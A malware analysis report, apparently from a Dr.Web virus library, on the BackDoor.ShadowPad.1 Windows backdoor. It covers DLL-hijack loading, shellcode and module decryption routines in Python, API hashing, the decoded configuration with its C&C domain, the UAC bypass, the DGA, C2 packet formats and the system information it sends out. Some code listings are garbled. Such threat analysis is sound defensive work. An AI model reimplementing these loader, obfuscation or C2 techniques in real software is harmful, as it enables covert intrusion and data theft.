BackDoor.ShadowPad.1

※ [vms.drweb.com](https://vms.drweb.com/virus/?i=21995048)/virus/

4bba897ee81240b10f9cca41ec010a26586e8c09

Description

It is a multi-module backdoor written in C and Assembler and designed to run on 32-bit and 64-bit Microsoft Windows operating systems. It is used in targeted attacks on information systems for gaining unauthorized access to data and transferring it to C&C servers. Its key feature is utilizing hardcoded plug-ins that contain the main backdoor's functionality.

Operating routine

The backdoor's DLL library is loaded into RAM by DLL Hijacking using the genuine executable file TosBtKbd.exe from TOSHIBA CORPORATION. On the infected computer, the file was named msmsgs.exe.

```
.>sigcheck -a msmsgs.exe_
   Verified: Signed
   Signing date: 5:24 24.07.2008
   Publisher: TOSHIBA CORPORATION
   Company: TOSHIBA CORPORATION.
   Description: TosBtKbd
   Product: Bluetooth Stack for Windows by TOSHIBA
   Prod version: 6, 2, 0, 0
   File version: 6, 2, 0, 0
   MachineType: 32-bit
   Binary Version: 6.2.0.0
   Original Name: TosBtKbd.exe
   Internal Name: n/a
   Copyright: Copyright (C) 2005-2008 TOSHIBA CORPORATION, All rights reserved.
   Comments: n/a
   Entropy: 5.287
```
The backdoor can be related to **[BackDoor.Farfli.125](https://vms.drweb.com/search/?q=BackDoor.Farfli.125&lng=en)**, since both malware programs use the same C&C server — www[.]pneword[.]net.

The sample was located on the infected computer in C:\ProgramData\Messenger\ and was installed as the Messenger service.

It is worth noting that BackDoor.Farfli.125 can execute the 0x7532 command, which is used to start a service with the same name — Messenger.

Start of operation

The malicious library has two export functions:

SetTosBtKbdHook UnHookTosBtKbd

The module name specified in the export table is TosBtKbd.dll.

The DLLMain function and the UnHookTosBtKbd export function are stubs.

The SetTosBtKbdHook function performs an exhaustive search through the handles in order to find objects whose names contain TosBtKbd.exe and then closes them.

```
int __stdcall check_handles()
{
 ULONG v0; // ecx
 HMODULE v1; // eax
 int result; // eax
 int iter; // esi
 int v4; // eax
 ULONG ReturnLength; // [esp+0h] [ebp-4h] BYREF
 ReturnLength = v0;if ( *(_DWORD *)NtQueryObject
   || (v1 = GetModuleHandleA(aNtdllDll),
        result = (int)GetProcAddress(v1, aNtqueryobject),
        (*(_DWORD *)NtQueryObject = result) != 0) )
 {
   iter = 0;
   while ( 1 )
    {
      if ( NtQueryObject((HANDLE)(4 * iter), ObjectNameInformation,
&object__name_info, 0x1000u, &ReturnLength) >= 0 )
     {
       v4 = lstrlenW(object__name_info.Name.Buffer);
        do
          --v4;
        while ( v4 > 0 && object_name_info.Name.Buffer[v4] != 92 );
        if ( !lstrcmpiW(&object__name_info.Name.Buffer[v4 + 1], String2) )
          break;
      }
     if ( ++iter >= 100000 )
       return 0;
   }
   result = CloseHandle((HANDLE)(4 * iter));
 }
 return result;
}
```
After that, the shellcode stored in the backdoor body is decrypted using SetTosBtKbdHook.

Shellcode decryption algorithm:

```
def LOBYTE(v):
 return v & 0xFF
def dump_shellcode(addr, size, key):
 buffer = get_bytes(addr, size)
 result = b""for x in buffer:
      result += bytes([x \land LOBYTE(key)])
      key = ((key * 0x6A730000) - (((key >> 0x10) * 0x39F3958D)) - 0x5C0BB335) &
0xFFFFFFFF
  i = 0for x in result:
      patch_byte(addr + i, x)i \neq 1
```
The decrypted shellcode utilizes obfuscation by using two consecutive conditional JMP instructions at a single address.

After bypassing obfuscation, the function becomes correct:

The shellcode is designed for loading the main payload, which is a disassembled PE module without the MZ and PE headers. A custom header consisting of separate parts of standard headers is used for the loading.

```
struct section
{
  DWORD RVA;
  DWORD raw_data_offset;
  DWORD raw_data_len;
};
struct module_header
{
  DWORD key;
  DWORD key_check;
  DWORD import_table_RVA;
  DWORD original_ImageBase;
  DWORD relocation_table_RVA;
  DWORD relocation_table_size;
  DWORD IAT_RVA;
  DWORD IAT_size;
  DWORD EP_RVA;
  WORD HDR32_MAGIC;
  WORD word;
  DWORD number_of_sections;
  DWORD timestamp;
  section section_1;
  section section_2;
  section section_3;
  section section_4;
};
```
The header is stored in the shellcode after the first block of instructions.

The module loader function then loads the payload directly. First, through the PEB structure, the backdoor obtains the addresses of the following functions from kernel32:

LoadLibraryA GetProcAddress VirtualAlloc Sleep

Kernel32 library name and the specified APIs are searched by the hash of the name, which is calculated by the algorithm:

```
def rol(val, r_bits, max_bits=32):
  return (val << r_bits%max_bits) & (2^{**}max_bits-1) | ((val & (2^{**}max\_bits-1)) >>(max_bits-(r_bits%max_bits)))
def ror(val, r_bits, max_bits=32):
  return ((val & (2**max_bits-1)) >> r_bits%max_bits) | (val << (max_bits-
(r_bits%max_bits)) & (2**max_bits-1))
def libnamehash(lib_name):
  result = 0b = 1ib_name.encode()
  for x in b:
     result = ror(result, 8)
     x |= 0x20result = (result + x) & QXFFFFFFFFresult ^= 0x7C35D9A3
  return result
def procnamehash(proc_name):
  result = 0b = proc_name.encode()for x in n:
      result = ror(result, 8)result = (result + x) & QXFFFFFFFFresult ^= 0x7C35D9A3
  return result
```
After receiving the API addresses, the backdoor checks the integrity of the header values using an algorithm based on the XOR operation — module header.key ^ module header.key check. The value must be 0x7C35D9A3 and it is the same value used when hashing function names from kernel32. After that, it checks the value of the signature module header.HDR32 MAGIC signature that must be equal to 0x10B. The backdoor then allocates an executable buffer of the module header.import table RVA size and adds 0x4000 for the module.

After that, it fills a block with the size of 0x1000 bytes at the beginning of the module header.section 1.RVA allocated buffer. That buffer is where the PE header of the loaded module should have been located.

The ECX register initially contains the address of the allocated executable buffer.

The backdoor then loads the module sections according to their RVA (Relative Virtual Address). Section data is stored in the shellcode after the header, and the offset to the (section.raw_data_offset) data is counted from the beginning of the header.

After the sections, the program processes relocations that are stored as IMAGE_BASE_RELOCATION structures, but each WORD, which is responsible for the relocation type and for the offset from the beginning of the block, is encrypted. The initial key is taken from module header.key, and it changes after each iteration. It is worth noting that the key obtained after all iterations will be used for processing import functions.

Relocations processing algorithm:

```
import struct
def relocations(image_address, original_image_base, relocation_table_RVA):
    global key
    relocation_table_addr = image_address + relocation_table_RVA
    reloc_hdr_data = get_bytes(relocation_table_addr, 8)
    block_address, size_of_block = struct.unpack('<II', reloc_hdr_data)
    while size_of_block:
        if ((size_of_block - 8) >> 1) > 0:
            block = get_bytes(relocation_table_addr + 8, size_of-block - 8)i = 0while i < ((size_of_block - 8) >> 1):
                reloc = struct.unpack('<H', block[i*2:i*2+2])[0]
                reloc_type = ((reloc \wedge key) & 0xFFFF) >> 0x0Coffset = (\text{reloc} \land \text{key}) & \text{0xFFF}offset_high = (((key \gg 0x10) + reloc) & 0xFFFFFFFF) | ((key \ll 0x10)& 0xFFFFFFFF)
                key = offset_high
                if reloc_type == 3:
                    patch_addr = offset + image_address + block_address
                    delta = (image_address - original_image_base) & 0xFFFFFFFF
                    value = get_wide_dword(patch_addr)
                    patch_dword(patch_addr, (value + delta) & 0xFFFFFFFF)
                elif reloc_type == 0x0A:
                    patch\_addr = image\_address + offset + + block\_addressdelta = (image_address - original_image_base) & 0xFFFFFFFF
                    old_low = get_wide_dword(patch_addr)
                    old_high = get\_wide\_dword(path\_addr + 4)patch_dword(patch_addr, (old_low + offset) & 0xFFFFFFFF)
                    patch_dword(patch_addr + 4, (old_high + offset_high) &
0xFFFFFFFF)
                i \neq 1relocation_table_addr += size_of_block
        reloc_hdr_data = get_bytes(relocation_table_addr, 8)
        block_address, size_of_block = struct.unpack('<II', reloc_hdr_data)
```
After all the relocations are processed, the structure is filled with null values.

Next, **BackDoor.ShadowPad.1** starts processing the import functions. In general, the procedure is standard, but the names of libraries and functions are encrypted. The key that was modified after processing the relocations is used, and is also changed after each encryption iteration. After processing the next import function, its address is not placed directly in the cell specified relative to IMAGE_IMPORT_DESCRIPTOR.FirstThunk. Instead, a block of instructions is generated that passes control to the API:

mov eax, <addr> neg eax jmp eax

Algorithm for processing import functions:

```
def imports(image_address, IAT_RVA,):
global key
IAT_address = image_address + IAT_RVA
import_table_address = image_address + 0x1A000
import_descriptor_address = IAT_address
while True:
    OriginalThunkData, TimeDateStamp, ForwarderChain, Name, FirstThunk =
struct.unpack('<IIIII', get_bytes(import_descriptor_address, 0x14))
    TimeDatestamp = 0
    ForwarderChain = \thetaOriginalThunkData_address = image_address + OriginalThunkData
    FirstThunk_address = image_address + FirstThunk
    libname_address = image_address + Name
    n1 = get_wide_byte(libname_address)
    libname\_decrypted = bytes([n1 \land key) & QXFF])key = ((key \gg 0x08) + c_byte(n1).value) | ((key \ll 0x18) & 0xFFFFFFFF)i = 1nb = get\_wide\_byte(libname\_address + i)while libname_decrypted[-1]:
        libname\_decrypted += bytes([(nb \land key) & QXFF])key = ((key >> 0 \times 08) + c_byte(nb).value) | ((key << 0 \times 18) & 0 \timesFFFFFFFFF)
        i + = 1nb = get\_wide\_byte(limits = address + i)libname_decrypted = libname_decrypted[:-1]
    print("Imports from {0}".format(libname_decrypted[:-1]))
    thunk = get_wide_dword(OriginalThunkData_address)
    it_ptr = 0j = 0while thunk:
        name\_address = image\_address + think + 2nb1 = get_wide_byte(name_address)
        func_name = bytes([(nb1 \land key) & 0xFF])
        key = ((key \gg 0x08) + c_byte(nb1).value) | ((key \ll 0x18) & 0xFFFFFFFF)i = 1nb = get\_wide\_byte(name\_address + i)while func_name[-1]:
            func_name += bytes([(nb \land key) & 0xFF])
            key = ((key >> 0 \times 08) + c_byte(nb).value) | ((key << 0 \times 18) & 0 \timesFFFFFFFFF)
            i += 1nb = get\_wide\_byte(name\_address + i)func_name = func_name[:-1]print("Function {0}".format(func_name))
        j_type = key % 5
        if i_type == 0:
            patch_byte(import_table_address, 0xE8)
        elif i type == 1:
            patch_byte(import_table_address, 0xE9)
        elif j_type == 2:
            patch_byte(import_table_address, 0xFF)
        elif i type == 3:
            patch_byte(import_table_address, 0x48)
        elif j_type == 4:
```

```
patch_byte(import_table_address, 0x75)
       else:
            patch_byte(import_table_address, 0x00)
       import_table_address += 1
       patch_dword(FirstThunk_address + it_ptr, import_table_address) #addr to
trampoline
       func_addr = binascii.crc32(func_name) & 0xFFFFFFFF
       patch_byte(import_table_address, 0xB8)
       patch_byte(import_table_address + 1, func_addr)
       patch_word(import_table_address + 5, 0xD8F7)
       patch_word(import_table_address + 7, 0xE0FF)
       import_table_address += 9
       j += 1
       it_ptr = j \ll 2thunk = get_wide_dword(OriginalThunkData_address + it_ptr)
   import_descriptor_address += 0x14
   if not get_wide_dword(import_descriptor_address):
       break
```
The import table is also filled with null values after processing.

The control is then passed to the loaded module. Arguments are passed as:

- Address of the beginning of the buffer where the module is loaded,
- Value 1 (code),
- Pointer to the shellarg structure.

At the entry point, the loaded module checks the code passed from the loader:

```
int __stdcall Root_EP(LPVOID module_base, DWORD code, shellarg "p_shellarg)
  int v3; // eax
  v3 = 0:
  switch ( code )
    case Ou:
     exit_process();
    case 1u:
      v3 = malmain(module_base, p_shellarg);
     break;
    case 0x64u:
    case 0x65u:
     goto LABEL_13;
    case 0x66u:
     p_shellarg->p_module_header = (module_header ")100;
      goto LABEL_13;
    case 0x67u:
     v3 = get_string_Root(p_shellarg);
     break;
    case 0x68u:
       _shellarg->p_module_header = (module_header ")&p_Root_helper;
LABEL 13:
       3 = 0;return v3 == 0;ŀ
  return v3 == 0;h
```
- \bullet 1 the main functionality,
- 0x64, 0x65 no action provided,
- \bullet 0x66 returns the code 0x64 in the third argument,
- 0x67 decrypts and returns the Root string (hereinafter Root the name of the module),
- 0x68 in the third argument returns a pointer to the table of functions implemented in this module.

Decryption algorithm:

```
def decrypt_str(addr):
key = get_wide_word(addr)
result = b""i = 2b = get\_wide\_byte(addr + i)while i < 0xFFA:
    result += bytes([b \land (key & 0xFF)])
    key = ((( key >> 0x10) * 0x1447208B) + (key * 0x208B0000) - 0x4875A15) &
0xFFFFFFFF
   i += 1b = get\_wide\_byte(addr + i)if not result[-1]:
        break
result = result[-1]return result
```
It is worth noting that the code snippets contained in this module, as well as some objects, are typical of the **[BackDoor.PlugX](https://vms.drweb.com/search/?q=BackDoor.PlugX&lng=en)** family.

When called with the code 1, the module proceeds to perform the main functions. At first, the program registers a top-level exception handler. When receiving control, the handler generates a debug string with information about the exception.

The program then outputs it using the OutputDebugString function, and writes it to the log file located in %ALLUSERPROFILE%\error.log.

Exception handlers are also registered in the **BackDoor.PlugX** family. In particular, in **[BackDoor.PlugX.38](https://vms.drweb.com/search/?q=BackDoor.PlugX.38&lng=en)** a string with information about the exception is formed, but the format differs slightly:

After registering the handler, a table of auxiliary functions is formed that is used for interaction between modules. Next, Root proceeds to load the additional built-in modules.

```
p loaded module base = 0;run_module(&p_loaded_module_base, &enc_module_1, 0x167Bu);
run module(&p loaded module base, &enc module 2, 0x308Fu);
run_module(&p_loaded_module_base, &enc_module_3, 0x1594u);
run module(&p loaded module base, &enc module 4, 0x47C7u);
run module(&p loaded module base, &enc module 5, 0xF89u);
run_module(&p_loaded_module_base, &enc_module_6, 0x2054u);
run_module(&p_loaded_module_base, &enc_module_7, 0x24DFu);
run module(&p loaded module base, &enc module 8, 0x2336u);
all_modules::get();
v1 = get loaded module by code(103);
```
Each module is stored in an encrypted form and also compressed using the QuickLZ algorithm. At the beginning, the module has a header size of 0x14 bytes. The header is decoded during the first step. Encryption algorithm:

```
import struct
def LOBYTE(v):
    return v & 0x000000FF
def BYTE1(v):
    return (v & 0x0000FF00) >> 8
def BYTE2(v):
    return (v & 0x00FF0000) >> 16
def HIBYTE(v):
    return (v & 0xFF000000) >> 24
def decrypt_module(data, data_len, init_key):
    key = []for i in range(4):
        key.append(init_key)
    k = 0result = b""if data_len > 0:
        i = 0while i < data_len:
            if i \& 3 == 0:
                 t = \text{key[0]}key[0] = (0x9150017B - (t * 0xD45A840)) & 0xFFFFFFFF
            elif i & 3 == 1:
                 t = key[1]key[1] = (0x95D6A3A8 - (t * 0x645EE710)) & 0xFFFFFFFF
            elif i & 3 == 2:
                t = key[2]key[2] = (0xD608D41B - (t * 0x1ED33670)) & 0xFFFFFFFF
             elif i & 3 == 3:
                 t = \text{key}[3]key[3] = (0xD94925D3 - (t * 0x68208D35)) & 0xFFFFFFFF
             k = (k - LOBYTE(key[i & 3])) & 0xFFk = k \land \text{BYTE1} (key[i \& 3])k = (k - BYTE2(key[i & 3])) & 0xFFk = k \wedge \text{HIBYTE}(\text{key}[i \& 3])result += bytes([data[i] \wedge k])
             i += 1return result
```
The initial value of the encryption key is stored in the module header. The structure looks as follows:

```
struct plugin_header
{
  DWORD key;
  DWORD flags;
  DWORD dword;
  DWORD compressed_len;
  DWORD decompressed_len;
};
```
After decrypting the header, the backdoor checks the value of flags. If the 0x8000 flag is set, it means that the module consists of only one header. Then the first byte's zero bit value is checked in the decrypted block. If the zero bit has the value 1, it means the module body is compressed by the QuickLZ algorithm.

After unpacking, the malware checks the size of the resulting data with the values in the header and proceeds directly to loading the module. To do so, it allocates an executable memory buffer to which it copies the load function and then passes control to it. Each module has the same format as the Root module, so it has its own header and encrypted import functions and relocations; therefore, loading occurs in the same way. After the module is loaded, the loader function calls its entry point with the code 1. Each module, like Root, initializes its function table using this code. Then Root calls the entry point of the loaded module sequentially with the codes 0x64, 0x66, and 0x68. This way, the backdoor initializes the module and passes it pointers to the necessary objects.

Modules are represented as objects combined in a linked list. Referring to a specific module is performed using the code the plug-in puts in its object after calling its entry point with the code 0x66.

```
struct loaded_module
{
 LIST_ENTRY list;
  DWORD run_count;
  DWORD timestamp;
  DWORD code_id;
  DWORD field_14;
  BOOL loaded;
  BOOL unk;
  BOOL module_is_PE;
  DWORD module_size;
  LPVOID module_base;
  Root_helper *func_tab; //pointer to the function table of the Root Module
}
```
When referring to the module entry point with the code 0x67, a string is decrypted and returned, which can be designated as the module name:

- \cdot 1 Plugins
- \cdot 2 Online
- \cdot 3 Config
- \cdot 4 Install
- $-5-TCP$
- $6 HTTP$
- $-7 UDP$
- \cdot 8 DNS

If one converts the timestamp fields from the headers of each plugin to dates, one gets the correct date and time values:

- Plugins 2017-07-02 05:52:53
- Online 2017-07-02 05:53:08
- Config 2017-07-02 05:52:58
- \bullet Install 2017-07-02 05:53:30
- TCP 2017-07-02 05:51:36
- HTTP 2017-07-02 05:51:44
- UDP 2017-07-02 05:51:50
- \bullet DNS $-$ 2017-07-02 05:51:55

After loading all the Root modules, the malware searches the list for the Install module and calls the second of the two functions located in its function table.

Install

First of all, the backdoor gets the SeTcbPrivilege and SeDebugPrivilege privileges. Then it obtains the configuration using the Config module. To access functions, the adapter functions of the following type are used:

```
Install:00342607 push
                         ebp
Install:00342608 mov
                         ebp, esp
Install:0034260A mov
                         eax, p_stage1_helper_pl4
Install:0034260F push
                         esi
Install:00342610 push
                         edi
                         66h; 'f'
Install:00342611 push
                                         : code
Install:00342613 call
                         [eax+Root::helper.get_loaded_module_by_code] ; 0x65 - Plugins
Install:00342613
                                         ; 0x68 - OnlineInstall:00342613
                                           0x66 - Config
Install:00342613
                                         ; 0x67 - Install
                                         ; 0xC8 - TCP
Install:00342613
Install:00342613
                                         ; 0xC9 - HTTP
Install:00342613
                                         ; 0xCA - UDP
Tnstall:00342613
                                          OxCB - DNS[ebp+switch_code] ; try_from_file
Install:00342616 push
Install:00342619 mov
                         esi, eax
Install:0034261B push
                         [ebp+p_buffer] ; p_buffer
Install:0034261E mov
                         eax, [esi+loaded module.func_tab]
                         [eax+Config::funcs.init_config]; 0x331524
Install:00342621 call
Install:00342624 mov
                         edi, eax
                         eax, p_stage1_helper_pl4
Install:00342626 mov
                                         ; p_loaded_module
Install:0034262B push
                         esi
Install:0034262C call
                         [eax+Root::helper.deinit loaded module] ; 0x251E17
Install:0034262F mov
                         eax, edi
Install:00342631 pop
                         edi
Install:00342632 pop
                         esi
Install:00342633 pop
                         ebp
Install:00342634 retn
                         \mathbb{R}^2
```
Through the object that stores the list of loaded modules, the backdoor finds the necessary one using the code, then the necessary function is called through the table.

During the first step of the configuration initialization, the buffer stored in the Root module is checked. If the first four bytes of this buffer are X, this means the backdoor needs to create a default configuration. Otherwise, this buffer is an encoded configuration. The configuration is stored in the same format as plug-ins — it is compressed using the QuickLZ algorithm and encrypted using the same algorithm used for plug-in encryption. 0x858 bytes are reserved for the decrypted and unpacked configuration. Its structure can be represented as follows:

```
struct config
{
   WORD off_id; //lpBvQbt7iYZE2YcwN
   WORD offset_1; //Messenger
   WORD off_bin_path; //%ALLUSERSPROFILE%\Messenger\msmsgs.exe
   WORD off_svc_name; //Messenger
   WORD off_svc_display_name; //Messenger
   WORD off_svc_description; //Messenger
   WORD off_reg_key_install; //SOFTWARE\Microsoft\Windows\CurrentVersion\Run
   WORD off_reg_value_name; //Messenger
   WORD off_inject_target_1; //%windir%\system32\svchost.exe
    WORD off_inject_target_2; //%windir%\system32\winlogon.exe
   WORD off_inject_target_3; //%windir%\system32\taskhost.exe
   WORD off_inject_target_4; //%windir%\system32\svchost.exe
    WORD off_srv_0; //HTTP://www.pneword.net:80
   WORD off_srv_1; //HTTP://www.pneword.net:443
   WORD off_srv_2; //HTTP://www.pneword.net:53
   WORD off_srv_3; //UDP://www.pneword.net:53
   WORD off_srv_4; //UDP://www.pneword.net:80
   WORD off_srv_5; //UDP://www.pneword.net:443
   WORD off_srv_6; //TCP://www.pneword.net:53
   WORD off_srv_7; //TCP://www.pneword.net:80
    WORD off_srv_8; //TCP://www.pneword.net:443
   WORD zero_2A;
   WORD zero_2C;
   WORD zero_2E;
   WORD zero_30;
   WORD zero_32;
   WORD zero_34;
   WORD zero_36;
   WORD off_proxy_1; //HTTP\n\n\n\n\n
   WORD off_proxy_2; //HTTP\n\n\n\n\n
   WORD off_proxy_3; //HTTP\n\n\n\n\n
    WORD off_proxy_4; //HTTP\n\n\n\n\n
    DWORD DNS_1; //8.8.8.8
    DWORD DNS_2; //8.8.8.8
    DWORD DNS_3; //8.8.8.8
    DWORD DNS_4; //8.8.8.8
    DWORD timeout_multiplier; //0x0A
    DWORD field_54; //zero
    //data
```

```
};
```
Fields named off * contain offsets to encrypted strings from the beginning of the configuration. The strings are encrypted with the same algorithm as used to encrypt the names of the plug-ins. After initialization, the backdoor also attempts to get the configuration from the file located in the %ALLUSERSPROFILE%\<rnd1>\<rnd2>\<rnd3>\<rnd4> directory.. The path and file name elements are generated during execution and depend on the serial number of the system partition.

After initializing the configuration, the mode parameter is checked, which is stored in the shellarg structure. That structure is filled in by the loader (shellcode) and stored in the stage 1 module.

```
struct shellarg
{
    module_header *p_module_header;
    DWORD module_size;
    DWORD mode;
    DWORD unk;
}
```
The algorithm provides a number of possible values for the mode parameter -2 , 3, 4, 5, 6, 7. If the value is different from the listed ones, the backdoor is installed in the system, and then the main functions are performed.

A series of values 2, 3 ,4 — to begin interaction with the C&C server, bypassing the installation.

A series of values 5, 6 — to work with the plug-in with the code 0x6A stored in the registry.

Value 7 — using the IFileOperation interface, the source module is copied to %TEMP%, as well as to System32 or SysWOW64, depending on the system bitness. This is necessary to restart the backdoor with UAC bypass using the wusa.exe file.

Backdoor installation process

During installation, the backdoor checks the current path of the executable file by comparing it with the value of off bin path from the configuration

(%ALLUSERSPROFILE%\Messenger\msmsgs.exe). If the path does not match and the backdoor is launched for the first time, a mutex is created, the name of which is generated as follows:

Format of the mutex name for wsprintfW is Global\%d%d%d.

Then checks whether UAC is enabled. If control is disabled, the malware creates the control.exe process (from System32 or SysWOW64, depending on the system's bitness) with the CREATE_SUSPENDED flag. After that, the backdoor injects the Root module into it, using WriteProcessMemory. Before doing this, the backdoor also implements a function that loads the module and transfers control to it. If UAC is enabled, this step is skipped.

The main executable file (msmsgs.exe) and TosBtKbd.dll are copied to the directory specified in the off bin path parameter and then installed as a service. The service name, display name, and description are contained in the configuration (parameters off svc_name, off svc_display_name, and off_svc_description). In this sample all three parameters have the Messenger value. If the service fails to start, the backdoor is registered in the registry. The key and parameter name for this case are also stored in the configuration (off reg key install and off reg value name parameters).

After installation, the backdoor attempts to inject the Root module into one of the processes specified in the configuration (off inject target <1..4>). If successful, the current process terminates, and the new process (or service) proceeds to interact with the C&C server.

A separate thread is created for this purpose. After that, a new registry key is created or an existing registry key is opened, which is used as the malware's virtual file system. The key is located in the Software\Microsoft\<key> branch, and the <key> value is also generated depending on the serial number of the system volume. The key can also be located in the HKLM and HKCU, depending on the privileges of the process. Next, the RegNotifyChangeKey function tracks changes in this key. Each parameter is a compressed and encrypted plug-in. The backdoor extracts each value and loads it as a module, adding it to the list of available ones.

This functionality is executed in a separate thread.

The next step generates a pseudo-random sequence from 3 to 9 bytes long, which is written to the registry in the SOFTWARE\ key located in the HKLM or HKCU. The parameter name is also generated and is unique for each computer. This value is used as the ID of the infected device.

After that, the backdoor extracts the address of the first C&C server from the configuration. The server storage format is as follows: <protocol>://<address>:<port>. In addition to the values that explicitly define the protocol used (HTTP, TCP, UDP), the URL value can also be specified. In this case, the backdoor refers to this URL and receives a new address of the C&C server in response, using the domain generation algorithm (DGA). The algorithm generates the string:

```
wstr *__stdcall dga(wstr *p_wstr)
{
  unsigned int v1; // ecx
  unsigned int v2; // edi
  unsigned int v3; // esi
  unsigned int v4; // edx
  char v5; // dl
  wstr *v6; // eax
  wstr *v7; // esi
  wstr tmp_str; // [esp+10h] [ebp-34h] BYREF
  char generated_char_str[16]; // [esp+20h] [ebp-24h] BYREF
  struct _SYSTEMTIME SystemTime; // [esp+30h] [ebp-14h] BYREF
  GetSystemTime_0(&SystemTime);
  if ( SystemTime.wDay > 0xAu )
  {
    if ( SystemTime.wDay > 0x14u )
      v1 = 0xE52F65F3 * SystemTime.wYear - 0x2527D2DD * SystemTime.wMonth -
0x4BA7EAF5;
    else
      v1 = 0xF108D240 * SystemTime.wMonth - 0x78C6249D * SystemTime.wYear -
0x17AB943D;
  }
  else
  {
    v1 = 0xF5D6C030 * SystemTime.wMonth - 0x5FBD1755 * SystemTime.wYear - 0x5540E1B0;
  }
  v2 = 0;v3 = v1 % 7;do
  {
    v4 = v1 % 0x34;if ( v1 % 0x34 > = 0x1A )
      v5 = v4 + 39;else
      v5 = v4 + 97;v1 = 13 * v1 + 7;general_{char}\_strut \_strut \_ \  \, \text{general} \_ \ -\,strut \_ \  \, \text{general} \_ \ -\,strut \_ \  \, \text{general} \_ \ -\,strut \_ \}
  while ( v2 \le v3 + 7 );
  generated_char_str[v3 + 8] = 0;
  v6 = wstr::assign_char_str_pl2(&tmp_str, generated_char_str);
  v7 = (wstr *)wstr::init_by_wchar_pl2(p_wstr, (LPCWSTR)v6->buffer_wchar);
  wstr::clean_pl2(&tmp_str);
  return v7;
}
```
The resulting string is combined with the string stored in the configuration, using the part before the @ symbol. The received URL is used for an HTTP request, which is answered with the encoded address of the C&C server.

After that, a connection object is created that corresponds to the protocol specified for this server.

TCP

SOCKS4, SOCKS5, and HTTP proxy protocols are supported when connecting over TCP. At the beginning, a socket is created and a connection to the server is established in keep-alive mode. A packet with the following header format is used for communication with the server:

```
struct packet_header
{
    DWORD key;
    DWORD id;
    DWORD module_code;
    DWORD compressed_len;
    DWORD decompressed_len;
};
```
HTTP

When using the HTTP protocol, data is sent by a POST request:

```
POST / HTTP/1.1
Accept: */*
Content-Length: 18
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; MRA 6.4
(build 8614); SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 1.1.4322)
Host: www.pneword.net
Connection: Keep-Alive
Cache-Control: no-cache
s;
....$...K...P....
```
Data transfer over HTTP is performed by the handler function in a separate thread. The mechanism is similar to that of **BackDoor.PlugX**.

DNS servers from the configuration are used to resolve the addresses of C&C servers (in this sample all 4 addresses are 8.8.8.8). The first packet sent to the server is a sequence of zeros from 0 to 0x3f bytes in length. The length is selected randomly.

The backdoor receives a response from the server, which is then decrypted and unpacked. Then, the packet header checks the module code value, which contains the code of the plug-in for which the command was received. The backdoor refers to the plug-in whose code is specified in the command and calls the function for processing commands from its table. The ID of the command itself is contained in the id field of the header.

Operating with plug-ins

Command IDs for the Plugins module can have the following values id — 0x650000, 0x650001, 0x650002, 0x650003, or 0x650004. In fact, the Plugins module is a plug-in manager, allowing one to register new plug-ins and delete existing ones.

0x680004, or 0x680005.

0x680002 Starts processing commands for plug-ins in a separate thread and initializes a new connection to the current server.

0x680003 Sends system information. It can be represented as the structure:

```
struct date
{
    BYTE year; //+0x30
    BYTE month;
    BYTE day;
    BYTE hour;
    BYTE minute;
    BYTE second;
    BYTE space;
}
struct sysinfo
{
    byte id[8];
    DWORD datestamp1; //20150810
    DWORD datestamp2; //20170330
    BYTE year; //+0x30
    BYTE month;
    BYTE day;
    BYTE hour;
    BYTE minute;
    BYTE second;
    BYTE space;
    DWORD module_code;
    WORD module_timestamp; //the lower 2 bytes of the
loaded_module.timestamp field of the connection module
    DWORD IP_address;
    LARGE_INTEGER total_physical_memory;
    DWORD cpu_0_MHZ;
    DWORD number_of_processors;
    DWORD dwOemID;
    LARGE_INTEGER total_disk_space[number_of_disks]; //iterates all
disks starting from C:
    DWORD pels_width; //screen width in pixels
    DWORD pels_height; //screen height in pixels
    DWORD LCID;
    LARGE_INTEGER perfomance_frequency; //pseudo-random value generated
using QueryPerformanceCounter and QueryPerformanceFrequency
    DWORD current_PID;
    DWORD os_version_major;
    DWORD os_version_minor;
    DWORD os_version_build_number;
    DWORD os_version_product_type;
    DWORD sm_Server_R2_build_number; //GetSystemMetrics(SM_SERVERR2)
    //the strings below - null-terminated
    char hostname[x];
    char domain_name[x];
    char domain__username[x]; //separated "/"
    char module_file_name[x];
    char osver_info_szCSDVersion[x];
    char str_from_config_offset1[x]; //Messenger
}
```
The id value is the unique identifier of the infected computer stored in the registry.

Config

This is a plug-in for working with the configuration.

Install

Artifacts

In the historical WHOIS record of the C&C server domain, one can observe the Registrar's email address: ddggcc@189[.]cn.

The same address is found in the icefirebest[.]com and www[.]arestc[.]net domain records, which were contained in the configurations of PlugX backdoor samples installed on the same computer.

Domain Name: ICEFIREBEST.COM Registry Domain ID: 2042439159_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.1api.net Registrar URL: http://www.1api.net Updated Date: 2016-07-28T16:55:13Z Creation Date: 2016-07-13T01:39:31Z Registrar Registration Expiration Date: 2017-07-13T01:39:31Z Registrar: 1API GmbH Registrar IANA ID: 1387 Registrar Abuse Contact Email: abuse@1api.net Registrar Abuse Contact Phone: +49.68416984x200 Domain Status: ok - http://www.icann.org/epp#OK Registry Registrant ID: Registrant Name: edward davis Registrant Organization: Edward Davis Registrant Street: Tianhe District Sports West Road 111 Registrant City: HONG KONG Registrant State/Province: Hongkong Registrant Postal Code: 510000 Registrant Country: HK Registrant Phone: +86.2029171680 Registrant Phone Ext: Registrant Fax: +86.2 0 2 9 1 7 1 6 8 0 Registrant Fax Ext: Registrant Email: ddggcc@189.cn Registry Admin ID: Admin Name: edward davis Admin Organization: Edward Davis Admin Street: Tianhe District Sports West Road 111 Admin City: HONG KONG Admin State/Province: Hongkong Admin Postal Code: 510000 Admin Country: HK Admin Phone: +86.2029171680 Admin Phone Ext: Admin Fax: +86.2 0 2 9 1 7 1 6 8 0 Admin Fax Ext: Admin Email: ddggcc@189.cn Registry Tech ID: Tech Name: edward d a v i s Tech Organization: Edward Davis Tech Street: Tianhe District Sports West Road 111 Tech City: HONG KONG Tech State/Province: Hongkong Tech Postal Code: 510000 Tech Country: HK T e c h P h o n e: + 8 6.2 0 2 9 1 7 1 6 8 0 Tech Phone Ext: Tech Fax: +86.2 0 2 9 1 7 1 6 8 0 Tech Fax Ext: Tech Email: ddggcc@189.cn Name Server: ns1.ispapi.net 194.50.187.134 Name Server: ns2.ispapi.net 194.0.182.1 Name Server: ns3.ispapi.net 193.227.117.124 DNSSEC: unsigned URL of the ICANN WHOIS Data Problem 